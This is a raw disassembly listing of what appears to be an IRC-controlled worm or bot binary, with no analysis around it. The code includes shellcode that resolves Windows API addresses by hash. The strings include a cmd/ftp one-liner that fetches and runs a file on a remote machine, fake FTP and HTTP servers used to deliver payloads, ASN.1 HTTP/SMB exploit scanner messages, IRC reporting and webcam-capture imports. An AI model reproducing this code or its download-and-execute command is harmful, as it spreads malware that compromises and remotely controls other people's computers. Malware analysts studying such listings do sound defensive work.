		jz	short loc_41E55C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_41E550
; ---------------------------------------------------------------------------


loc_41E55C:				; CODE XREF: sub_41E528+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41E545
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_41E575:				; CODE XREF: sub_41E528:loc_41E545j
		mov	[esp+arg_0], ebx
		retn
sub_41E528	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E57A	proc near		; CODE XREF: sub_41E528+7p

; FUNCTION CHUNK AT 0041E5B2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_41E593
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_41E59E
; ---------------------------------------------------------------------------


loc_41E593:				; CODE XREF: sub_41E57A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_41E59E:				; CODE XREF: sub_41E57A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41E5B2
sub_41E57A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E5A5	proc near		; CODE XREF: sub_41E57A:loc_41E5B2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_41E5A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E57A


loc_41E5B2:				; CODE XREF: sub_41E57A+29j
		call	sub_41E5A5


loc_41E5B7:				; DATA XREF: sub_401B05+1Bo
					; seg000:004096C3o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_41E57A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_41E5BC	dd 60h		dword_41E5C0	dd 62B0606h, 2050501h, 0A0hdword_41E5CC	dd 30h							; seg002:004228B8o ...
dword_41E5D0	dd 0A1h		dword_41E5D4	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_401B60+153o
		align 10h


loc_41E5E0:				; DATA XREF: sub_401B60+E8o
		jmp	short near ptr dword_41E5E8
; ---------------------------------------------------------------------------
		align 8
dword_41E5E8	dd 0		dword_41E5EC	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_40235F+55o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40295F+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_40295F+5B9o
					; seg000:00409465o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40295F+5ACo
		align 10h
dword_41E6B0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40295F+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40295F+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40295F+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40295F+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40295F+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40295F+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40295F+4A5o
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40295F+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40295F+42Bo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40295F+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_40295F+3EAo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40295F+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40295F+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40295F+38Co
aI:					; DATA XREF: sub_40295F+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40295F+351o
aA:					; DATA XREF: sub_40295F+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40295F+326o
					; sub_40295F+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40295F+316o
		align 4
off_41E86C	dd offset dword_445750	; DATA XREF: sub_40295F+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40295F+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40295F+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_40295F+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40295F+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40295F+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40295F+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40295F+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40295F+271o
					; seg002:00422664o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_40295F+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40295F+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_402FDF+24o
					; seg000:004042C2o ...
		align 4
unk_41E908	db    2			; DATA XREF: sub_403079+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_41E950	db 0Dh,0Ah,0		; DATA XREF: sub_403079+2CFo
		align 4
asc_41E954:				; DATA XREF: sub_403079+293o
					; seg000:00408FEBo ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_403079+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4034D4+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4034D4+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4034D4+97o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4034D4+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4034D4:loc_403539o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4034D4+5Eo
		align 4
unk_41EB74	db    2			; DATA XREF: sub_403656+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_41EBC0	db    2			; DATA XREF: sub_403656+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_41EC04:				; DATA XREF: sub_403656+157o
					; seg002:004242FCo
		unicode	0, <*>,0
asc_41EC08:				; DATA XREF: sub_403656+FBo
					; sub_403906+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_403656+EAo
					; sub_403906+4CAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_403656+3Ao
					; sub_40718F+4Co ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_403656+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_403906+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_403906+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_403906+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_403906+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_403906+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_403906:loc_403E1Eo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_403906+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_403906+471o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_403906+434o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_403906+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_403906:loc_403CC8o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_403906+3BBo
		align 10h
aSS_0		db '%s%s/',0            ; DATA XREF: sub_403906+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_403906+330o
					; sub_403906+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_403906+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_403906+2E4o
					; sub_403906+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_403906+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_403906+290o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_403906+285o
		align 4
a__0:					; DATA XREF: sub_403906+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_403906+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_403906+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_403906+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_403906+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_403906+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_403906+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_403906+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_403906+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404073+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_41F0C0	dd 4000500h, 7868746Bh,	0dword_41F0CC	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00404613o
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_41F11C	db    2			; DATA XREF: seg000:0040454Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_41F158	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: seg000:0040452Do
unk_41F16C	db    2			; DATA XREF: seg000:004044D2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 10h
unk_41F1C0	db    2			; DATA XREF: seg000:004042EEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 10h
unk_41F210	db    2			; DATA XREF: seg000:004041FEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_0	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: seg000:004041A3o
		align 10h
aAsn1http_0	db 'asn1http',0         ; DATA XREF: sub_404CE1+164o
		align 2
aAsn1http	db 'asn1http',0         ; DATA XREF: sub_40235F+1C8o
		align 4
		dd 5 dup(0)
dword_41F288	dd 50h							; seg000:0040B74Br ...
off_41F28C	dd offset sub_40235F	; DATA XREF: sub_404CE1+1E6r
dword_41F290	dd 0							; sub_40235F+202r ...
dword_41F294	dd 1		dword_41F298	dd 1		aAsn1smb	db 'asn1smb',0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 40235Fh, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 73610074h, 6D73316Eh
		dd 746E62h, 5 dup(0)
		dd 8Bh,	40235Fh, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_41F322	db 1			; DATA XREF: seg000:loc_40CE83r
					; seg000:0040CE8Do
aAsn1smb_0	db 'asn1smb',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40468B+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_40468B+42o
		align 4
unk_41F35C	db    2			; DATA XREF: sub_40468B+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_41F394	db    2			; DATA XREF: sub_404755+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_41F3C8	db    2			; DATA XREF: sub_404755+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_41F3FC	db    2			; DATA XREF: seg000:00404B3Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_41F444	db    2			; DATA XREF: seg000:00404AD3o
					; seg000:0040D3CBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_41F494	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00404A33o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_41F4D8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:004049C6o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_41F52C	db    2			; DATA XREF: seg000:00404915o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_41F574	db    2			; DATA XREF: seg000:004048A7o
					; seg000:0040D255o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_404BA8+38o
					; sub_406CDF+46o
unk_41F5D4	db    2			; DATA XREF: sub_404CE1+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_41F610	db    2			; DATA XREF: sub_404CE1+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_41F660	db    2			; DATA XREF: sub_404EF5+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_41F6B8	db    2			; DATA XREF: sub_404EF5+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_41F708	db    2			; DATA XREF: sub_404EF5+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_41F754	db    2			; DATA XREF: sub_404EF5+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_41F7A0	db    2			; DATA XREF: sub_405154+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_41F7F0	db    2			; DATA XREF: sub_405154+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_41F848	db    2			; DATA XREF: seg000:00405486o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_41F89C	db    2			; DATA XREF: seg000:004053BDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_405560+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_405560+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_405560:loc_40619Bo
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_405560+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_405560+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_405560+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_405560+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_405560+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_405560+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_405560:loc_4060FDo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_405560+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_405560+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_405560:loc_4060B3o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405560+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405560+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_405560+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_405560+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_405560:loc_40603Fo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405560+AAAo
		align 4
